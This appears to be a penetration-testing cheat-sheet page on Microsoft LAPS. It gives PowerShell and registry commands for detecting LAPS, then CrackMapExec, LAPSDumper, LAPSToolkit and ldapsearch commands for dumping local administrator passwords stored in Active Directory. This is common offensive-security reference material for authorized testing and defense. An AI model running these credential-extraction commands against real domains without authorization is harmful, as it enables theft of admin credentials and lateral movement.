# Local Administrator Password Solution (LAPS)

Microsoft LAPS provides automated local administrator account management for every computer in Active Directory. The client-side piece of LAPS on the computer generates a random secure password and stores it in the AD attribute for the computer password. This is considered secure and mitigates an attacker passing the local administrator hash throughout the domain.

### Enumerating LAPS

```powershell
# Using the cmdlet Get-ADObject
Get-ADObject 'CN=mc-mcs-admpwd,CN=Schema,CN=Configuration,DC=dc,DC=parzival,DC=com' 

# Check if the DLL is installed locally
Get-ChildItem 'c:\program files\LAPS\CSE\Admpwd.dll'
dir "C:\Program Files\LAPS\CSE"

# Checking registry
reg query "HKLM\Software\Policies\Microsoft Services\AdmPwd" /v AdmPwdEnabled
```

### Retrieving LAPS Passwords

```bash
# Retrieve password using CrackMapExec
cme ldap $dc -u $username -p $password -M laps

# https://github.com/n00py/LAPSDumper
python laps.py -u $username -p $password -d $domain

# https://github.com/leoloobeek/LAPSToolkit
Get-LAPSComputers

# Manually with LDAP
ldapsearch -x -h $host -D $user -w $password -b "dc=$domain,dc=com" "(ms-MCS-AdmPwd=*)" ms-MCS-AdmPwd
```

### References

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